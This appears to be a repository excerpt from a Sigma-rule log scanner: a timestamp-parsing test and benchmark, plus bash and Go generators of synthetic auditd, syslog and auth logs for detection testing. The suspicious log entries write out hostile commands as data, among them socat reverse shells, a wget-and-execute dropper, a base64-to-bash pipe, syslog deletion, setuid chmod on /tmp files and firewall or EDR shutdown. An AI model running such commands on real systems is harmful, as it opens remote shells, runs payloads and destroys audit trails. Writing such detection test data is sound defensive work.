// the same timestamp string that the original regex implementations would have
// returned, across a representative set of real-world and edge-case lines.
func TestParseSyslogTimestampEquivalence(t *testing.T) {
syslogRe := regexp.MustCompile(`^([a-zA-Z]{3}\s+\d{1,2}\s+\d{2}:\d{2}:\d{2})`)
rsyslogRe := regexp.MustCompile(`^((-?(?:[1-9][0-9]*)?[0-9]{4})-(1[0-2]|0[1-9])-(3[01]|0[1-9]|[12][0-9])T(2[0-3]|[01][0-9]):([0-5][0-9]):([0-5][0-9])(\.[0-9]+)?(Z|[+-](?:2[0-3]|[01][0-9]):[0-5][0-9])?)`)
regexTimestamp := func(line string) string {
if m := syslogRe.FindStringSubmatch(line); m != nil {
return m[1]
}
if m := rsyslogRe.FindStringSubmatch(line); m != nil {
return m[1]
}
return ""
}
cases := []struct {
desc string
line string
}{
// BSD: single-digit day (space-padded)
{"BSD single-digit day", "Mar 1 10:00:01 host sshd[1]: msg"},
{"BSD single-digit day 9", "Dec 9 23:59:59 host sshd[1]: msg"},
// BSD: double-digit day
{"BSD double-digit day", "Mar 12 10:00:01 host sshd[1]: msg"},
{"BSD double-digit day 31", "Jan 31 00:00:00 host sshd[1]: msg"},
// BSD: all months
{"BSD Jan", "Jan 1 00:00:00 host p[1]: m"},
{"BSD Feb", "Feb 28 23:59:59 host p[1]: m"},
{"BSD Nov", "Nov 30 12:00:00 host p[1]: m"},
// rsyslog: UTC Z
{"rsyslog UTC Z", "2023-03-01T10:00:01Z host sshd[1]: msg"},
// rsyslog: positive timezone offset
{"rsyslog +offset", "2023-03-01T10:00:01+05:30 host sshd[1]: msg"},
// rsyslog: negative timezone offset
{"rsyslog -offset", "2023-03-01T10:00:01-08:00 host sshd[1]: msg"},
// rsyslog: with microseconds
{"rsyslog microseconds", "2023-03-01T10:00:01.123456+00:00 host sshd[1]: msg"},
// rsyslog: no fractional seconds
{"rsyslog no frac", "2023-01-15T08:30:00+00:00 host sshd[1]: msg"},
// Should NOT match
{"empty line", ""},
{"plain text", "this is not a log line"},
{"partial timestamp", "Mar 1"},
}
for _, c := range cases {
want := regexTimestamp(c.line)
got, _ := parseSyslogTimestamp(c.line)
if got != want {
t.Errorf("%s:\n line: %q\n regex: %q\n hand: %q", c.desc, c.line, want, got)
}
}
}
const bsdLine = "Mar 1 10:00:01 hostname sshd[1234]: Accepted publickey for user from 192.168.1.1 port 22"
const rsyslogLine = "2023-03-01T10:00:01.123456+00:00 hostname sshd[1234]: Accepted publickey for user from 192.168.1.1 port 22"
func BenchmarkParseEventsBSD(b *testing.B) {
const n = 100_000
tmp := b.TempDir()
f := filepath.Join(tmp, "bsd.log")
var sb strings.Builder
for i := 0; i < n; i++ {
fmt.Fprintf(&sb, "Mar %2d 10:00:01 hostname sshd[%d]: message number %d\n", (i%28)+1, i+1000, i)
}
if err := os.WriteFile(f, []byte(sb.String()), 0600); err != nil {
b.Fatal(err)
}
b.ResetTimer()
b.ReportAllocs()
for i := 0; i < b.N; i++ {
if _, err := ParseEvents(f); err != nil {
b.Fatal(err)
}
}
}
func BenchmarkParseEventsRsyslog(b *testing.B) {
const n = 100_000
tmp := b.TempDir()
f := filepath.Join(tmp, "rsyslog.log")
var sb strings.Builder
for i := 0; i < n; i++ {
fmt.Fprintf(&sb, "2023-03-01T10:%02d:%02d.000000+00:00 hostname sshd[%d]: message number %d\n", (i/60)%60, i%60, i+1000, i)
}
if err := os.WriteFile(f, []byte(sb.String()), 0600); err != nil {
b.Fatal(err)
}
b.ResetTimer()
b.ReportAllocs()
for i := 0; i < b.N; i++ {
if _, err := ParseEvents(f); err != nil {
b.Fatal(err)
}
}
}
================================================
FILE: scripts/generate_test_logs.sh
================================================
#!/usr/bin/env bash
# generate_test_logs.sh
# Generates synthetic auditd, syslog, and auth log test files under testdata/.
# Entries are a mix of benign activity and events that should trigger
# the Sigma rules bundled with this repo.
#
# Usage: bash scripts/generate_test_logs.sh
set -euo pipefail
OUTDIR="testdata"
AUDITD_LOG="$OUTDIR/generated_auditd.log"
SYSLOG_LOG="$OUTDIR/generated_syslog.log"
AUTH_LOG="$OUTDIR/generated_auth.log"
mkdir -p "$OUTDIR"
# ─── Helpers ─────────────────────────────────────────────────────────────────
# Base Unix timestamp — fixed so logs are reproducible
BASE_TS=1700000000
SEQ=1000
auditd_line() {
local offset="$1" # seconds offset from BASE_TS
local type="$2"
local fields="$3"
local ts=$(( BASE_TS + offset ))
echo "type=${type} msg=audit(${ts}.000:${SEQ}): ${fields}"
SEQ=$(( SEQ + 1 ))
}
syslog_line() {
local month="$1"
local day="$2"
local time="$3"
local host="$4"
local proc="$5"
local msg="$6"
printf "%s %2s %s %s %s: %s\n" "$month" "$day" "$time" "$host" "$proc" "$msg"
}
# ─── Auditd log ──────────────────────────────────────────────────────────────
cat > "$AUDITD_LOG" << 'HEADER'
# Generated test auditd log
# Lines marked [BENIGN] should produce no detections.
# Lines marked [DETECT] should trigger at least one Sigma rule.
HEADER
echo "" >> "$AUDITD_LOG"
echo "# --- Benign activity ---" >> "$AUDITD_LOG"
# [BENIGN] Normal SSH login
auditd_line 0 "USER_AUTH" \
'pid=1234 uid=0 auid=4294967295 ses=4294967295 msg='"'"'op=PAM:authentication acct="admin" exe="/usr/sbin/sshd" hostname=10.0.0.5 addr=10.0.0.5 terminal=ssh res=success'"'" \
>> "$AUDITD_LOG"
# [BENIGN] Normal file open by root
auditd_line 1 "SYSCALL" \
'arch=c000003e syscall=2 success=yes exit=3 ppid=1 pid=2000 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=1 comm="cat" exe="/bin/cat" key=(null)' \
>> "$AUDITD_LOG"
# [BENIGN] Normal cron execution
auditd_line 2 "EXECVE" \
'argc=1 a0="run-parts" pid=3000 auid=0' \
>> "$AUDITD_LOG"
# [BENIGN] Normal PATH record for /etc/hosts
auditd_line 3 "PATH" \
'item=0 name=/etc/hosts inode=123 dev=fd:00 mode=0100644 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL' \
>> "$AUDITD_LOG"
# [BENIGN] Normal systemd service check
auditd_line 4 "SYSCALL" \
'arch=c000003e syscall=4 success=yes exit=0 ppid=1 pid=2100 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=(none) ses=2 comm="systemctl" exe="/usr/bin/systemctl" key=(null)' \
>> "$AUDITD_LOG"
echo "" >> "$AUDITD_LOG"
echo "# --- Suspicious activity (should be detected) ---" >> "$AUDITD_LOG"
# [DETECT] lnx_auditd_susp_c2_commands — key=susp_activity (nc executed)
auditd_line 10 "SYSCALL" \
'arch=c000003e syscall=59 success=yes exit=0 ppid=4500 pid=4501 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts1 ses=3 comm="nc" exe="/bin/nc" key=susp_activity' \
>> "$AUDITD_LOG"
# [DETECT] lnx_auditd_susp_c2_commands — key=susp_activity (wget executed)
auditd_line 11 "SYSCALL" \
'arch=c000003e syscall=59 success=yes exit=0 ppid=4500 pid=4502 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts1 ses=3 comm="wget" exe="/usr/bin/wget" key=susp_activity' \
>> "$AUDITD_LOG"
# [DETECT] lnx_auditd_system_info_discovery — type=EXECVE a0=uname
auditd_line 20 "EXECVE" \
'argc=2 a0=uname a1=-a pid=5000 auid=1000' \
>> "$AUDITD_LOG"
# [DETECT] lnx_auditd_system_info_discovery — type=EXECVE a0=hostname
auditd_line 21 "EXECVE" \
'argc=1 a0=hostname pid=5001 auid=1000' \
>> "$AUDITD_LOG"
# [DETECT] lnx_auditd_system_info_discovery — type=PATH name=/etc/issue
auditd_line 22 "PATH" \
'item=0 name=/etc/issue inode=456 dev=fd:00 mode=0100644 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL' \
>> "$AUDITD_LOG"
# [DETECT] lnx_auditd_password_policy_discovery — type=PATH name=/etc/login.defs
auditd_line 30 "PATH" \
'item=0 name=/etc/login.defs inode=789 dev=fd:00 mode=0100644 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL' \
>> "$AUDITD_LOG"
# [DETECT] lnx_auditd_password_policy_discovery — type=EXECVE a0=chage a1=--list
auditd_line 31 "EXECVE" \
'argc=3 a0=chage a1=--list a2=root pid=6000 auid=1000' \
>> "$AUDITD_LOG"
# [DETECT] lnx_auditd_password_policy_discovery — type=EXECVE a0=passwd a1=-S
auditd_line 32 "EXECVE" \
'argc=2 a0=passwd a1=-S pid=6001 auid=1000' \
>> "$AUDITD_LOG"
echo "Generated: $AUDITD_LOG"
# ─── Syslog log ──────────────────────────────────────────────────────────────
{
echo "# Generated test syslog log"
echo "# Lines marked [BENIGN] should produce no detections."
echo "# Lines marked [DETECT] should trigger at least one Sigma rule."
echo ""
echo "# --- Benign activity ---"
# [BENIGN] Normal SSH login
syslog_line "Nov" 14 "10:00:01" "webserver" "sshd[1234]" "Accepted publickey for deploy from 10.0.0.5 port 51234 ssh2"
# [BENIGN] Normal sudo usage
syslog_line "Nov" 14 "10:01:00" "webserver" "sudo[2000]" "admin : TTY=pts/0 ; PWD=/home/admin ; USER=root ; COMMAND=/usr/bin/apt-get update"
# [BENIGN] Normal cron job
syslog_line "Nov" 14 "10:05:01" "webserver" "cron[3000]" "(root) CMD (/usr/lib/update-notifier/apt-check --human-readable)"
# [BENIGN] Normal service start
syslog_line "Nov" 14 "10:06:00" "webserver" "systemd[1]" "Started OpenBSD Secure Shell server."
# [BENIGN] Normal kernel message
syslog_line "Nov" 14 "10:07:15" "webserver" "kernel" "EXT4-fs (sda1): mounted filesystem with ordered data mode."
echo ""
echo "# --- Suspicious activity (should be detected) ---"
# [DETECT] lnx_syslog_security_tools_disabling_syslog — 'stopping iptables'
syslog_line "Nov" 14 "11:00:01" "webserver" "systemd[1]" "stopping iptables firewall service"
# [DETECT] lnx_syslog_security_tools_disabling_syslog — 'stopping firewalld'
syslog_line "Nov" 14 "11:00:05" "webserver" "systemd[1]" "stopping firewalld dynamic firewall daemon"
# [DETECT] lnx_clear_syslog — 'rm /var/log/syslog'
syslog_line "Nov" 14 "11:05:00" "webserver" "bash[9001]" "rm /var/log/syslog"
# [DETECT] lnx_clear_syslog — 'rm -rf /var/log/syslog'
syslog_line "Nov" 14 "11:05:02" "webserver" "bash[9002]" "rm -rf /var/log/syslog"
# [DETECT] lnx_shell_susp_commands — 'nc -l -p *'
syslog_line "Nov" 14 "11:10:00" "webserver" "bash[9100]" "nc -l -p 4444"
# [DETECT] lnx_shell_susp_commands — 'socat exec:*'
syslog_line "Nov" 14 "11:10:05" "webserver" "bash[9101]" "socat exec:/bin/bash,pty,stderr,setsid tcp:10.0.0.99:4444"
# [DETECT] lnx_shell_susp_commands — 'wget *; chmod +x*'
syslog_line "Nov" 14 "11:15:00" "webserver" "bash[9200]" "wget http://10.0.0.99/shell.sh; chmod +x shell.sh; ./shell.sh"
# [DETECT] lnx_shell_susp_commands — '| base64 -d '
syslog_line "Nov" 14 "11:15:10" "webserver" "bash[9201]" "echo aGVsbG8= | base64 -d | bash"
# [DETECT] lnx_shell_susp_commands — 'chmod +s /tmp/*'
syslog_line "Nov" 14 "11:20:00" "webserver" "bash[9300]" "chmod +s /tmp/rootkit"
} > "$SYSLOG_LOG"
echo "Generated: $SYSLOG_LOG"
# ─── Auth log ─────────────────────────────────────────────────────────────────
# auth.log uses the same syslog format — scan it with:
# -target syslog -rules ./rules/linux/builtin/sshd/ -file testdata/generated_auth.log
{
echo "# Generated test auth log"
echo "# Lines marked [BENIGN] should produce no detections."
echo "# Lines marked [DETECT] should trigger at least one Sigma rule."
echo ""
echo "# --- Benign activity ---"
# [BENIGN] Successful password auth
syslog_line "Nov" 14 "10:00:01" "server" "sshd[1001]" "Accepted password for alice from 10.0.0.10 port 52345 ssh2"
# [BENIGN] Successful key auth
syslog_line "Nov" 14 "10:00:05" "server" "sshd[1002]" "Accepted publickey for bob from 10.0.0.11 port 52400 ssh2"
# [BENIGN] Normal session open
syslog_line "Nov" 14 "10:00:06" "server" "sshd[1002]" "pam_unix(sshd:session): session opened for user bob by (uid=0)"
# [BENIGN] Failed password (normal brute-force noise, not an exploit attempt)
syslog_line "Nov" 14 "10:01:00" "server" "sshd[1003]" "Failed password for invalid user ftp from 1.2.3.4 port 41234 ssh2"
# [BENIGN] Normal session close
syslog_line "Nov" 14 "10:05:00" "server" "sshd[1002]" "pam_unix(sshd:session): session closed for user bob"
echo ""
echo "# --- Suspicious activity (should be detected) ---"
# [DETECT] lnx_sshd_susp_ssh — 'error in libcrypto' (exploit attempt)
syslog_line "Nov" 14 "11:00:01" "server" "sshd[2001]" "error in libcrypto"
# [DETECT] lnx_sshd_susp_ssh — 'unexpected internal error'
syslog_line "Nov" 14 "11:00:02" "server" "sshd[2002]" "unexpected internal error from 1.2.3.4 port 55123"
# [DETECT] lnx_sshd_susp_ssh — 'bad client public DH value'
syslog_line "Nov" 14 "11:00:03" "server" "sshd[2003]" "bad client public DH value from 1.2.3.4 port 55124"
# [DETECT] lnx_sshd_susp_ssh — 'Corrupted MAC on input'
syslog_line "Nov" 14 "11:00:04" "server" "sshd[2004]" "Corrupted MAC on input"
# [DETECT] lnx_sshd_susp_ssh — 'Local: crc32 compensation attack'
syslog_line "Nov" 14 "11:00:05" "server" "sshd[2005]" "Local: crc32 compensation attack detected"
} > "$AUTH_LOG"
echo "Generated: $AUTH_LOG"
# ─── Summary ─────────────────────────────────────────────────────────────────
cat << 'EOF'
Run against generated logs:
# Auditd
go run . -target auditd -rules ./rules/linux/auditd/ -file testdata/generated_auditd.log
# Syslog
go run . -target syslog -rules ./rules/linux/builtin/ -file testdata/generated_syslog.log
# Auth log (uses syslog target + sshd rules)
go run . -target syslog -rules ./rules/linux/builtin/sshd/ -file testdata/generated_auth.log
# JSON output
go run . -target auditd -rules ./rules/linux/auditd/ -file testdata/generated_auditd.log -out json
go run . -target syslog -rules ./rules/linux/builtin/ -file testdata/generated_syslog.log -out json
go run . -target syslog -rules ./rules/linux/builtin/sshd/ -file testdata/generated_auth.log -out json
# Sanity check — benign-only files, expect zero hits
go run . -target auditd -rules ./rules/linux/auditd/ -file testdata/auditd.log -out json
go run . -target syslog -rules ./rules/linux/builtin/ -file testdata/syslog.log -out json
Expected auditd detections:
- Suspicious C2 Activities (nc, wget with key=susp_activity)
- System Information Discovery (uname, hostname, /etc/issue)
- Password Policy Discovery (chage --list, passwd -S, /etc/login.defs)
Expected syslog detections:
- Disabling Security Tools (stopping iptables, stopping firewalld)
- Commands to Clear or Remove Syslog (rm /var/log/syslog)
- Suspicious Activity in Shell Commands (nc -l -p, socat exec, wget+chmod, base64 -d, chmod +s)
Expected auth log detections:
- Suspicious OpenSSH Daemon Error (error in libcrypto, bad DH value, Corrupted MAC, crc32 attack)
EOF
================================================
FILE: scripts/genlog/main.go
================================================
// genlog generates synthetic auditd, syslog, and auth log files for testing.
//
// Usage:
//
// go run ./scripts/genlog [flags]
//
// Flags:
//
// -seed int random seed (default: random, printed so you can replay)
// -count int approximate number of events per log file (default: 200)
// -ratio float fraction of events that are suspicious (default: 0.2)
// -out string output directory (default: testdata)
package main
import (
"flag"
"fmt"
"math/rand"
"os"
"path/filepath"
"time"
)
// ─── CLI ─────────────────────────────────────────────────────────────────────
func main() {
seedFlag := flag.Int64("seed", 0, "random seed (0 = use current time)")
count := flag.Int("count", 200, "approximate events per log file")
ratio := flag.Float64("ratio", 0.2, "fraction of events that should be suspicious (0.0–1.0)")
outDir := flag.String("out", "testdata", "output directory")
flag.Parse()
seed := *seedFlag
if seed == 0 {
seed = time.Now().UnixNano()
}
fmt.Printf("seed: %d (replay with -seed %d)\n", seed, seed)
if err := os.MkdirAll(*outDir, 0755); err != nil {
fmt.Fprintf(os.Stderr, "error creating output dir: %v\n", err)
os.Exit(1)
}
rng := rand.New(rand.NewSource(seed))
baseTime := time.Date(2023, 11, 14, 8, 0, 0, 0, time.UTC)
files := []struct {
name string
fn func(*rand.Rand, time.Time, int, float64) ([]entry, time.Time)
}{
{"generated_auditd.log", generateAuditd},
{"generated_syslog.log", generateSyslog},
{"generated_auth.log", generateAuth},
}
for _, f := range files {
entries, _ := f.fn(rng, baseTime, *count, *ratio)
path := filepath.Join(*outDir, f.name)
if err := writeLog(path, entries); err != nil {
fmt.Fprintf(os.Stderr, "error writing %s: %v\n", path, err)
os.Exit(1)
}
printSummary(path, entries)
}
}
// ─── Entry ───────────────────────────────────────────────────────────────────
type entry struct {
line string
rule string // empty = benign
}
func (e entry) suspicious() bool { return e.rule != "" }
func writeLog(path string, entries []entry) error {
f, err := os.Create(path)
if err != nil {
return err
}
defer f.Close()
fmt.Fprintf(f, "# Generated by genlog — %s\n", time.Now().UTC().Format(time.RFC3339))
fmt.Fprintf(f, "# Benign entries produce no rule matches.\n")
fmt.Fprintf(f, "# Entries with a rule comment should trigger that rule.\n\n")
for _, e := range entries {
if e.suspicious() {
fmt.Fprintf(f, "# [DETECT] %s\n", e.rule)
}
fmt.Fprintln(f, e.line)
}
return nil
}
func printSummary(path string, entries []entry) {
susp := 0
rules := map[string]int{}
for _, e := range entries {
if e.suspicious() {
susp++
rules[e.rule]++
}
}
fmt.Printf("\n%s\n", path)
fmt.Printf(" total: %d suspicious: %d benign: %d\n", len(entries), susp, len(entries)-susp)
for rule, n := range rules {
fmt.Printf(" %-55s x%d\n", rule, n)
}
}
// ─── Helpers ─────────────────────────────────────────────────────────────────
func pick[T any](rng *rand.Rand, items []T) T {
return items[rng.Intn(len(items))]
}
func randPID(rng *rand.Rand) int { return rng.Intn(64535) + 1000 }
func randUID(rng *rand.Rand) int { return pick(rng, []int{0, 0, 1000, 1001, 1002}) }
func advanceTime(rng *rand.Rand, cur time.Time) time.Time {
// Random gap between 1 second and 3 minutes
secs := time.Duration(rng.Intn(180)+1) * time.Second
return cur.Add(secs)
}
var (
hostnames = []string{"webserver", "db-01", "dev-box", "bastion", "worker-3", "fileserver"}
usernames = []string{"alice", "bob", "deploy", "admin", "charlie", "svc-backup"}
srcIPs = []string{"10.0.0.5", "10.0.0.11", "192.168.1.50", "172.16.4.22", "10.10.0.99"}
)
// ─── Auditd ──────────────────────────────────────────────────────────────────
func generateAuditd(rng *rand.Rand, start time.Time, count int, ratio float64) ([]entry, time.Time) {
cur := start
seq := 1000 + rng.Intn(500)
var entries []entry
for i := 0; i < count; i++ {
cur = advanceTime(rng, cur)
seq += rng.Intn(3) + 1
ts := cur.Unix()
if rng.Float64() < ratio {
// Suspicious events are correlated groups so merged events have
// fully populated columns (exe, auid, pid from SYSCALL).
entries = append(entries, auditdSuspicious(rng, ts, seq)...)
} else {
entries = append(entries, auditdBenign(rng, ts, seq))
}
}
return entries, cur
}
func auditField(ts int64, seq int, typ, fields string) string {
return fmt.Sprintf("type=%s msg=audit(%d.%03d:%d): %s",
typ, ts, 0, seq, fields)
}
func auditdBenign(rng *rand.Rand, ts int64, seq int) entry {
pid := randPID(rng)
uid := rng.Intn(2) * 1000 // 0 or 1000
type tmpl struct{ typ, fields string }
templates := []tmpl{
// Normal file reads
{"SYSCALL", fmt.Sprintf(
"arch=c000003e syscall=2 success=yes exit=3 ppid=%d pid=%d auid=%d uid=%d gid=%d euid=%d suid=%d fsuid=%d egid=%d sgid=%d fsgid=%d tty=pts0 ses=1 comm=%q exe=%q key=(null)",
randPID(rng), pid, uid, uid, uid, uid, uid, uid, uid, uid, uid,
pick(rng, []string{"cat", "ls", "grep", "stat", "head"}),
pick(rng, []string{"/bin/cat", "/bin/ls", "/bin/grep", "/usr/bin/stat"}),
)},
// Normal EXECVE
{"EXECVE", fmt.Sprintf(
"argc=1 a0=%q pid=%d auid=%d",
pick(rng, []string{"run-parts", "systemctl", "apt-check", "logrotate", "update-notifier"}),
pid, uid,
)},
// Normal PATH
{"PATH", fmt.Sprintf(
"item=0 name=%s inode=%d dev=fd:00 mode=0100644 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL",
pick(rng, []string{"/etc/hosts", "/etc/resolv.conf", "/var/log/syslog", "/etc/crontab", "/proc/cpuinfo"}),
rng.Intn(999999)+1000,
)},
// Successful auth
{"USER_AUTH", fmt.Sprintf(
"pid=%d uid=0 auid=4294967295 ses=4294967295 msg='op=PAM:authentication acct=%q exe=\"/usr/sbin/sshd\" hostname=%s addr=%s terminal=ssh res=success'",
pid,
pick(rng, usernames),
pick(rng, srcIPs),
pick(rng, srcIPs),
)},
// Normal CWD
{"CWD", fmt.Sprintf(
"cwd=%q",
pick(rng, []string{"/home/alice", "/root", "/var/log", "/tmp", "/opt/app"}),
)},
}
chosen := templates[rng.Intn(len(templates))]
return entry{line: auditField(ts, seq, chosen.typ, chosen.fields)}
}
// auditdSuspicious returns a correlated group of records sharing the same seq.
// The SYSCALL record always comes first so correlation merges exe/auid/pid into
// the final event — whatever subsequent record type triggers the sigma rule,
// the output row will have fully populated columns.
func auditdSuspicious(rng *rand.Rand, ts int64, seq int) []entry {
pid := randPID(rng)
ppid := randPID(rng)
auid := 1000 + rng.Intn(3)
type suspTmpl struct {
comm, exe string // for SYSCALL
secondType string // EXECVE or PATH
secondFields string
rule string
}
templates := []suspTmpl{
// lnx_auditd_susp_c2_commands
{
comm: pick(rng, []string{"nc", "ncat", "socat", "nmap", "base64", "wget", "curl"}),
exe: pick(rng, []string{"/bin/nc", "/usr/bin/ncat", "/usr/bin/socat", "/usr/bin/nmap", "/usr/bin/base64", "/usr/bin/wget", "/usr/bin/curl"}),
secondType: "EXECVE",
secondFields: fmt.Sprintf("argc=2 a0=%q a1=%q",
pick(rng, []string{"nc", "ncat", "socat"}),
pick(rng, srcIPs),
),
rule: "lnx_auditd_susp_c2_commands",
},
// lnx_auditd_system_info_discovery
{
comm: pick(rng, []string{"uname", "hostname", "lsmod", "env"}),
exe: pick(rng, []string{"/usr/bin/uname", "/usr/bin/hostname", "/sbin/lsmod", "/usr/bin/env"}),
secondType: "EXECVE",
secondFields: fmt.Sprintf("argc=2 a0=%q a1=%q",
pick(rng, []string{"uname", "hostname"}),
pick(rng, []string{"-a", "-r", "--all"}),
),
rule: "lnx_auditd_system_info_discovery",
},
// lnx_auditd_system_info_discovery via PATH
{
comm: "cat",
exe: "/bin/cat",
secondType: "PATH",
secondFields: fmt.Sprintf("item=0 name=%s inode=%d dev=fd:00 mode=0100644 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL",
pick(rng, []string{"/etc/lsb-release", "/etc/redhat-release", "/etc/issue"}),
rng.Intn(999999)+1000,
),
rule: "lnx_auditd_system_info_discovery",
},
// lnx_auditd_password_policy_discovery via PATH
{
comm: "cat",
exe: "/bin/cat",
secondType: "PATH",
secondFields: fmt.Sprintf("item=0 name=%s inode=%d dev=fd:00 mode=0100644 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL",
pick(rng, []string{"/etc/login.defs", "/etc/pam.d/common-auth", "/etc/pam.d/common-password", "/etc/security/pwquality.conf"}),
rng.Intn(999999)+1000,
),
rule: "lnx_auditd_password_policy_discovery",
},
// lnx_auditd_password_policy_discovery via EXECVE chage
{
comm: "chage",
exe: "/usr/bin/chage",
secondType: "EXECVE",
secondFields: fmt.Sprintf("argc=3 a0=chage a1=%q a2=%q",
pick(rng, []string{"--list", "-l"}),
pick(rng, usernames),
),
rule: "lnx_auditd_password_policy_discovery",
},
}
t := templates[rng.Intn(len(templates))]
syscallFields := fmt.Sprintf(
"arch=c000003e syscall=59 success=yes exit=0 ppid=%d pid=%d auid=%d uid=%d gid=%d euid=%d suid=%d fsuid=%d egid=%d sgid=%d fsgid=%d tty=pts1 ses=3 comm=%q exe=%q key=susp_activity",
ppid, pid, auid, auid, auid, auid, auid, auid, auid, auid, auid, t.comm, t.exe,
)
return []entry{
{line: auditField(ts, seq, "SYSCALL", syscallFields), rule: t.rule},
{line: auditField(ts, seq, t.secondType, t.secondFields)},
}
}
// ─── Syslog ──────────────────────────────────────────────────────────────────
func generateSyslog(rng *rand.Rand, start time.Time, count int, ratio float64) ([]entry, time.Time) {
cur := start
var entries []entry
for i := 0; i < count; i++ {
cur = advanceTime(rng, cur)
var e entry
if rng.Float64() < ratio {
e = syslogSuspicious(rng, cur)
} else {
e = syslogBenign(rng, cur)
}
entries = append(entries, e)
}
return entries, cur
}
func syslogTS(t time.Time) string {
return t.Format("Jan _2 15:04:05")
}
func syslogLine(t time.Time, host, proc, msg string) string {
return fmt.Sprintf("%s %s %s: %s", syslogTS(t), host, proc, msg)
}
func syslogBenign(rng *rand.Rand, t time.Time) entry {
host := pick(rng, hostnames)
pid := randPID(rng)
user := pick(rng, usernames)
ip := pick(rng, srcIPs)
type tmpl struct{ proc, msg string }
templates := []tmpl{
{fmt.Sprintf("sshd[%d]", pid), fmt.Sprintf("Accepted %s for %s from %s port %d ssh2",
pick(rng, []string{"password", "publickey"}), user, ip, 20000+rng.Intn(45535))},
{fmt.Sprintf("sshd[%d]", pid), fmt.Sprintf("Disconnected from %s port %d", ip, 20000+rng.Intn(45535))},
{fmt.Sprintf("sudo[%d]", pid), fmt.Sprintf("%s : TTY=pts/%d ; PWD=/home/%s ; USER=root ; COMMAND=%s",
user, rng.Intn(5), user,
pick(rng, []string{"/usr/bin/apt-get update", "/bin/systemctl restart nginx", "/usr/sbin/logrotate", "/usr/bin/journalctl -xe"}))},
{fmt.Sprintf("cron[%d]", pid), fmt.Sprintf("(root) CMD (%s)",
pick(rng, []string{"/usr/lib/update-notifier/apt-check", "/etc/cron.daily/logrotate", "/usr/sbin/ntpdate pool.ntp.org", "test -x /usr/sbin/anacron"}))},
{fmt.Sprintf("systemd[%d]", pid), fmt.Sprintf("Started %s.",
pick(rng, []string{"OpenBSD Secure Shell server", "Daily apt upgrade and clean activities", "Rotate log files", "Network Manager"}))},
{fmt.Sprintf("kernel"), fmt.Sprintf("EXT4-fs (%s): %s",
pick(rng, []string{"sda1", "sdb1", "nvme0n1p1"}),
pick(rng, []string{"mounted filesystem with ordered data mode.", "recovery complete.", "1 orphan inode deleted."}))},
{fmt.Sprintf("sshd[%d]", pid), fmt.Sprintf("pam_unix(sshd:session): session %s for user %s by (uid=0)",
pick(rng, []string{"opened", "closed"}), user)},
{fmt.Sprintf("NetworkManager[%d]", pid), fmt.Sprintf(" [%s] device (%s): state change: activated -> deactivated",
t.Format("1504.05"), pick(rng, []string{"eth0", "eth1", "ens3", "ens33"}))},
}
chosen := templates[rng.Intn(len(templates))]
return entry{line: syslogLine(t, host, chosen.proc, chosen.msg)}
}
func syslogSuspicious(rng *rand.Rand, t time.Time) entry {
host := pick(rng, hostnames)
pid := randPID(rng)
port := 1024 + rng.Intn(64511)
ip := pick(rng, srcIPs)
type suspTmpl struct{ proc, msg, rule string }
templates := []suspTmpl{
// lnx_syslog_security_tools_disabling_syslog
{fmt.Sprintf("systemd[%d]", pid),
pick(rng, []string{
"stopping iptables firewall service",
"stopping ip6tables ipv6 firewall",
"stopping firewalld dynamic firewall daemon",
"stopping cbdaemon Carbon Black defense",
"stopping falcon-sensor CrowdStrike Falcon",
}),
"lnx_syslog_security_tools_disabling_syslog"},
// lnx_clear_syslog
{fmt.Sprintf("bash[%d]", pid),
pick(rng, []string{
"rm /var/log/syslog",
"rm -f /var/log/syslog",
"rm -rf /var/log/syslog",
"mv /var/log/syslog /dev/null",
" > /var/log/syslog",
}),
"lnx_clear_syslog"},
// lnx_shell_susp_commands — netcat listener
{fmt.Sprintf("bash[%d]", pid),
fmt.Sprintf("nc -l -p %d", port),
"lnx_shell_susp_commands"},
// lnx_shell_susp_commands — socat reverse shell
{fmt.Sprintf("bash[%d]", pid),
fmt.Sprintf("socat exec:/bin/bash,pty,stderr,setsid tcp:%s:%d", ip, port),
"lnx_shell_susp_commands"},
// lnx_shell_susp_commands — wget dropper
{fmt.Sprintf("bash[%d]", pid),
fmt.Sprintf("wget http://%s/%s; chmod +x %s; ./%s",
ip,
pick(rng, []string{"shell.sh", "payload.elf", "backdoor", "install.sh"}),
pick(rng, []string{"shell.sh", "payload.elf", "backdoor", "install.sh"}),
pick(rng, []string{"shell.sh", "payload.elf", "backdoor", "install.sh"}),
),
"lnx_shell_susp_commands"},
// lnx_shell_susp_commands — base64 decode pipe
{fmt.Sprintf("bash[%d]", pid),
fmt.Sprintf("echo %s | base64 -d | bash",
pick(rng, []string{"aGVsbG8=", "L2Jpbi9iYXNo", "d2dldCBodHRwOi8v"})),
"lnx_shell_susp_commands"},
// lnx_shell_susp_commands — setuid on tmp file
{fmt.Sprintf("bash[%d]", pid),
fmt.Sprintf("chmod +s /tmp/%s",
pick(rng, []string{"rootkit", "backdoor", "x", "exploit", "shell"})),
"lnx_shell_susp_commands"},
// lnx_shell_susp_commands — python SimpleHTTPServer
{fmt.Sprintf("bash[%d]", pid),
fmt.Sprintf("python -m SimpleHTTPServer %d", port),
"lnx_shell_susp_commands"},
// lnx_shell_susp_commands — socat tcp-connect
{fmt.Sprintf("bash[%d]", pid),
fmt.Sprintf("socat tcp-connect:%s:%d exec:/bin/sh", ip, port),
"lnx_shell_susp_commands"},
}
tmpl := templates[rng.Intn(len(templates))]
return entry{
line: syslogLine(t, host, tmpl.proc, tmpl.msg),
rule: tmpl.rule,
}
}
// ─── Auth log ─────────────────────────────────────────────────────────────────
func generateAuth(rng *rand.Rand, start time.Time, count int, ratio float64) ([]entry, time.Time) {
cur := start
var entries []entry
for i := 0; i < count; i++ {
cur = advanceTime(rng, cur)
var e entry
if rng.Float64() < ratio {
e = authSuspicious(rng, cur)
} else {
e = authBenign(rng, cur)
}
entries = append(entries, e)
}
return entries, cur
}
